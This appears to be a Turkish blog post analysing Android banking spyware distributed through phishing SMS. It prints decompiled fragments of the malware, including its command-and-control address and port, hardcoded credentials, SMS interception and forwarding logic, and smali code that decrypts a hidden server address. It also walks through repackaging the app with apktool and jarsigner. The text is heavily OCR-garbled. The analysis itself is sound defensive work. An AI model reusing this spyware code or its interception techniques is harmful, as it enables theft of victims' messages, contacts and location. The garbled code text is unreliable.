Android Bankacilik Casus
Yazilimi

written by Mert SARICA | 5 November 2015

Nisan ayi basi gibi bazi banka misterilerine SMS ile

banka adi.slpheli adres.com adinda mesajlar gonderilmeye baslandi. Siteye
Android akilli cihazi ile baglanan kullanicilari, bankaya aitmis gibi gdriinen
guzel bir gorsel karsiliyor ve kullanicinin bankanin mobil bankacilik
hizmetinden yararlanabilmesi i¢in ilgili uygulamayi kurmasi isteniyordu.

Mobil Uygulamasi

Mobil Uygulamasi

Siteyi masa uUstu internet tarayicisi ile ziyaret edenler ise bankanin ana
sayfasina yonlendiriliyordu. Zararli yazilimin zaman ic¢inde birden fazla
sirimine erisme imkanim oldugu ic¢in ilk sirimi ile 2 ve 3. sirudmlerini
kiyaslama imkanim olmustu.

I1k sirimde kod gizlemesi (obfuscation) gerceklestirilmedigi icin zararli
yazilim, kaynak koda c¢evridiginde bunun rehber, arama kaydi ve sms
bilgilerini calan, anahtar kelime ile sms yoénlendirmesi yapabilen ve
Tirkiye’'de 185.50.69.100 ip adresi ile 4444 numarali baglanti noktasindan
haberlesen bir casus yazilim oldugu rahatlikla anlasiliyordu.


https://www.mertsarica.com/android-bankacilik-casus-yazilimi/
https://www.mertsarica.com/android-bankacilik-casus-yazilimi/
http://www.ip-adress.com/whois/185.50.69.100
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£ google.gson package con.googleandroid.listener.consts;
=] EE googleandroid. listener
=8} consts #/import android.content.Context;
1
£ helpers public final class Consts
£ items {
EE listeners public static final String BRO‘WSERHISIORY_API = "BrowserHistory™:
EE observers public static final String CALLLOG_API = "CallLog™:
EEl teceivers public static final String CONTACT APT = "Contact”;
H services public static final int DELTA TIME MAX = 30:
EE sqlite public static final String DEVICESIM_API = "Devicel3im™;
EE tasks public static final String DEVICE APY = "Dewvice™:
m BuildCanfig public static final String EXCEPTION AP = "Exceptionlog”;
m Legalactivity public static final int MAX TIME = 35;
m R public static final String MESSAGE APT = "Message":

public static final String MessagelnboxNetSmsCount = "all™;

public static final String MessageSeniNetSmsCount = "all™;

public static final 3tring MobileClientUserNime = "username™;

public static final String MobileClientUserPass = "ZcodbSaac-2140-46aa-h845-2421b9c9ated™;
public static final String Pref_CallLog’s_I‘ask_First = "Pref_ Calllogs_Task_First":

public static final String Pref_Messag’eInbox_I‘.isk_First = "Pref MeszagelInbox_Task First™;
public static final String Pref_Mess&geSent_I&sk_First = "Pref HMeszagelent Task_ First":
public static final String Pref_ServerDeViceId = "Pref SerwverDeviceId":

public static final String Pref_SimLastOpenI‘ime = "Pref_ ZiimLastOpenTime":

private static String BEST SERVICE HOST URL = "http://185.50.63.100:4444"; h
public static final int SM5 = 1;

public static final String TRACK CALLLOG NET ENABLE = "TRACE CALLLOG_NET ENAELE":
public static final String TRACK GEQ = "TRACKGED™:

public static final String TRACK NET = "TRACKNET":

public static final String TRACK SERVER URL = "THACKE_SERVER_URL";:

public static final String TRACK 5M5 = "TRACKIM3™:

public static final String TRACK 5MS ABORT = "TRACE_SM3 ABORT":

public static final String TRACK SM5 ENARLE = "TRACK_3M3_ENAELE™:

public static final String TRACK SMS NET ENARLE = "TRACK 5M3_NET ENAELE":

public static final String TRACK 5M5 NUMEER = "THACE_SM3_NUMEER™:

public static final String TRACK SMS WORD = "TRACE _SM3_WORD™:

public static final Boolean debug = Boolean. raluelf(false) ;

public static final String nolocation = "Lokasyona ulasilamiyor. Eilinen son konum ™;

public static String getApilirl (Context paramnContext, String paramString)
{
return getServerlirl (paramContext) + paramitring;

}

private static String getServerlrl (Context paranContext)
{
String str = REST SERVICE HOST URL + "/fapi/™;
if (!PreferencesHelper.&etPref{paranContext, "TRACE_3ERVER_URL").equalz(™")])
str = PreferencesHelper. fetPrefiparanContext, "serverlUrl™) + "/fapi/":
return str;

i
Yazilimi gelistiren kisinin kaynak kodun bir yerinde servis adi olarak

isim.soyad bilgisine yer vermesi, kodun ya calinti ya da dikkatsizce baska
bir koddan kopyalandigina isaret ediyordu.

% ConnectionDetector.dass dass 57 | c: s R d | = |

o SmeObserver.class 12 | CallogObserver.ciass 57 | PhoneCallistener.class 57 | Message.ck GeoLocation.dass 12

if (“TRACKGEQ".equals(arrayOfString[e])) a
<

Ly Preferencestelper.dass ghortBroadeast 5
I oSl ol Intent locallntents = new Intent(paramContext, LocatorService.class);
Lk localIntents.putExtra("SENDTO", str3);

Log.i("cg: SMSRecedver”, "Starting LocatorServica®);
parancontext.startservice(localintents);

5
labelsas:
do
for (33)
e 1
foee
break;
1 PhoneCallistener.class if (“TRACKNET".equals(array0fstring(@]))
#3 observers B K
1) CallogObserver.dass aborteroadcast();
1 SmsObserver.class Intent locallntentd = new Intent();
recevers localIntentd. setAction(*com services.servicestart”);

aramContext. sendBroadcast (locallntents,
Jab ProgramBootReceiver cass P ¢ )i

clse

o if (1preferencestielper. GetPref(paranContext, "TRACK_SMS_WORD") .equals(array0fstring[e])) {
break Label535;

fiib CalRecordingService, dass
L ListenersService.dass

b E
fup Locatorservice.dass if (Preferencestielper.GetPref(paranContext, "TRACK_SMS_NUMBER").equals(str3))
1y Messageservice.dass o T
 salite abortBroadcast();
T Callogsdl.cass String str10 = "VONLENDIRME-" + PreferencesHelper. GetPref(paramContext, "TRACK_SMS_ENABLE") + " BILDIRIMLERT KAPAT-" + PreferencesHelper.GetPref(paranContext, "TRACK_SHS_ABORT");

Intent locallntent3 = new Intent(paramContext, MessageService.class);
5 essagesal css Tocallntent3.putExtra("SENDTO", str3); =
ke locallntent3.putExtra("80DY", str1e);

13, ExceptiontogTask cass paranContext . startService(local Intent3);

® ExceptionLogTask 1

1ob GetBronserHistoryTask.dass ¥

© GetbrowsertistoryTask
fu GetCallogsTask.ciss

© GetCallogsTask

1 GetContactsTask dass

® GetContactsTask

3
} while (1"TRACKSMS".equals(arrayOfString[6]));
abortBroadcast();
for (53)

String str8;

Jib Getvessagessentrask.class try

(® GetMessagessentTask e {

%ab GetessagesTask,class String strS - General.Searchiiessase(str2, “word:®);
® GetMessagesTask. (=} if (strS != null) {
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Ilerleyen surumlerde ise bu zararli yazilim haberlestigi ip adresi, kod
. , . . D o
gizleme yontemi ile gizlendigi goOrulebiliyordu.
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public static final Boolean debug = Boolean.value0fifalse):

R
all”s C

username” ;

“TRACK_CALLLOG_VET_EMABLE" ;

public static final String nolocation = “Lokasyona ulssilamiyor. Bilinen son Komum "
public static String getApilzl(Context parauContext, STriny paremstring)

return +

private static String getServertirl (Context parauContext)

String str - BEST SERVICE HOST UIL + "/api/™:

if ('PreferencesHelper.GetPref(paranContext, "TRACK_SERVER_URL").equals (™))
str = breferencesHelper.Getbref(paranContext, "serverUrl™ + "/api/";

return str:

)

Yeri gelmisken bu tir zararli yazilimlar ile karsilasildigi zaman, son
kullanici da olsaniz, guvenlik uzmani da olsaniz, Ulusal Siber Olaylara
Midahale Merkezi‘ni (USOM) ihbar formu uUzerinden bilgilendirmenin, ulusal ve

kurumsal givenlik adina oldukca onemli oldugunun altini cizmek isterim.

USOM'un hizla gincelledigi zararli baglantilar listesi ve koordinasyon ile
sektorel ve kurumsal SOME’lerin, guvenlik Ureticilerinin kisa sure icinde bu

zararli adreslerden haberdar olarak, kullanicilarin magdur olmasini kisa bir
sure icinde engellediklerini unutmayin.



https://www.usom.gov.tr/index.html
https://www.usom.gov.tr/index.html
https://www.usom.gov.tr/ihbar-bildir.html
https://www.usom.gov.tr/zararli-baglantilar/1.html

Devlet kurumudur, oldukca yavas isler, hic¢ zahmet etmeyeyim gibi 6n yargilari
bir kenara koyabilirsiniz ¢lnki USOM’a yapmis oldugum bir bildirimin 2 saat
gibi kisa bir siire icinde zararli baglantilar listesine eklendigini
gectigimiz glnlerde tecribe ettigimi séyleyebilirim.

Daha O6nceki yazilarimdan da bildiginiz lUzere Android platformu icin
gelistirilen uygulamalar kolaylikla bayt koduna ve kaynak koduna
cevrilebilmektedir. Kaynak kodunun bu 6rnekte oldugu gibi okunakli olmadigi
durumlarda bayt kodunu analiz etmek tercih edeceginiz en akillica
yontemlerden biri olacaktir.

I cime el

SAndroid Malware>java —jar apktool.jar d mobhil_sube-5.apk
: Using Apktool Z2.8.8 on mobhil_sube-5.apk

: Loading resource table...

: Decoding AndroidManifest.xml with resources...

: Loading resource table from file: C:“\Documents and Settings“Administratorapk
ool1xframewvork-l.apk

: Regular manifest package...

: Decoding file—resources...

: Decoding values */% HMLs...

: Baksmaling classes.dex...

estl: Copywing assets and libs...

: Copwing unknown files...

: Copving original files...
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Zararli yazilaimi apk-tool araci ile bayt koduna (smali) cevirdikten sonra
smali\com\googleandroid\listener\items\receivers\ klasori icinde yer alan
ProgramStartReceiver.smali dosyas1i dikkatimi cekti. Dosyayi inceledigimde
sifrelenen komuta kontrol merkezi adresinin bu dosya ic¢inde c¢o6zuldiguni
(decryption) gdérdim.

Bu gibi (okunakli olmayan kaynak kodu) durumlarda bayt kod Uzerinde
degisiklik yaparak programin akisini degistirebilme imkanina sahip oldugunuz
icin ben de sifresi ¢o6zilmis olan degiskeni asagidaki ekran goruntisinde yer
aldigi sekliyle LogCat‘e yonlendirmeye karar verdim. Degisikligi yaptiktan
sonra tekrar apk-tool araci ile paketi derleyip, imzaladiktan sonra Android
Emulator’e ylkledim ve ardindan gizlenmis olan komuta kontrol merkezinin ip

adresini g6rebildim.


https://www.mertsarica.com/android-uygulamalarinda-guvenlik-testi/
http://ibotpeaches.github.io/Apktool/
http://developer.android.com/tools/help/logcat.html

iindroid Maluare>java —jar apktool.jar b nobil sube=5
Using Apkto
Checking hotlion soUREEE AR changed. . .

i resources has changed. .
: Building apk file...

IC:\Android Halwarve>

C:\Android Malvare>keytool —genkey —v
f ievaly Sh leysize 2640 —ualidity 1oeus
BRc-cnter new password:

jihat is your first and last name?

[l Tunknouni:
uhac s the nane
l [Unknoun1:
Bunat is the name
Llnknoun 1
hat is the name
8 Tlnknown1:
is the name

vour organizational unit?

Your organization?

your City or Locality?

your State or Province?

e two-letter countwy code For this unit?

OU=Unknown, O=Unknown, L=Unknoun, S$T=Unknown.

Generating 2
[th o validity of 10.808 days
for: CN=lUnknown, OU=Unknown, O=lUnknown, L=Unknown,
Enter key passuord For (android)
RETURN if same as keystore passwowd):
[Re—enter new passwor
peu cercif icate (self-signed>:
i
Uersion: U3
Subject: CN=Unknown.
Signature Algorithm

Sun RSA public key, 2048 bits

OU=Unknown, O=Unknown.
SHA256withRSA. OID =

L=Unknown. SI=Unknoun.
1.2.848.11354%.1.1.11

Key:

258655110193133115394447781995618928353932A99661729A39575833724999438

E)54018739119165828136663 73875585080 7467463547745861565962255653050447227386739232

ST=lnknown .

—keystore android.keystore —alias

android

C=Unknown correct?

48 hit RSA key pair and self-signed certificate (SHA256withRSAY wil

C=Unknoun|

G=Unknoun

lc: Android Malvaresmobil_sube-5dist>jarsigner —verbose —sigalg SHALwithRSA —dig

& Admini CAWINDOY md =B X

\Desktop -
2436 KBss 93591 hytes in 0.037
Shae asensioal tapomahil_subes apk

\Test>adb install mobil sube-5.apk

Success

c:\User: \Desktops Nest>

L J

O ek - () - (¥ search Folders | [TEE]+ S | Fokder sync
address [[E2) Ci\android Malware\mobil_sube-5idist v
~

android keystore

mobil_sube-5.apk
Al KEYSTORE File

PE File:
92 KB

File and Folder Tasks &

mf} Rename this fils

B¢ Move this file

D Copy this file

& Fublish this fils to the
b

&) E-mai this fie
X Delste this fie

eataly SHAL ~keyatore an(lrul(l keystore mobil_sube—5.apk android

Enter Passphrase fo
N NP HAN] PEST HF
HETA-INF/ANDROID. SF
HETA-INF/ANDROID_RSA
findro idfan Lfest.xnl
classes.
Tecsdravable-hdpisic_launche
res/dravable-ndpisic_launcher_png
res/dravable-xhdpisic_launcher.png
res/layout/activity legal.xml
res/lavout/popact -xml

signing: resources.arsc

Android Malwarewmohil sube-5Ndist>.

s\ “Maluare URLY
I/Haluara URL: ¢ 4812). lm:p //188 165.164.1688

& Administrator: CAWINDOWShsystem32\cmd.exe =@ %

BB HAG DD e hal s B EBE e E e E @
& ProgramStartReceiver smali \
invoke-virtual {vi, v2}, .

Lecom/googleandroid/listener/helpers/MCrypt;->decrypt (Ljava/lang/String;) [B
move-result-object vl

invoke-direct {v3, v1}, Ljava/lang/String;-><init>([B)V

invoke-virtual {v3}, Ljava/lang/String;->trim()Ljava/lang/String; L

move-result-object vl

new-instance v2, Ljava/lang/StringBuilder;

const-string v3, "http://"

invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v2, vl},
Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object vl

invoke-virtual {vl}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object vl

const-string v6, "Malware URL:"

R

invoke-static {v6, v1}, TLandroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)T

new-instance v2, Lcom/googleandroid/listener/helpers/MySQLiteHelpers

Bu zararli yazilimda oldugu gibi siz de kod gizleme yonteminden (obfuscation)

faydalanan zararli yazilimlari analiz etmek istediginizde benzer sekilde bayt

kodu Uzerinden ilerlemeyi alternatif bir yol olarak degerlendirebilirsiniz.

Bir sonraki yazida goOrismek dilegiyle herkese givenli ginler dilerim.



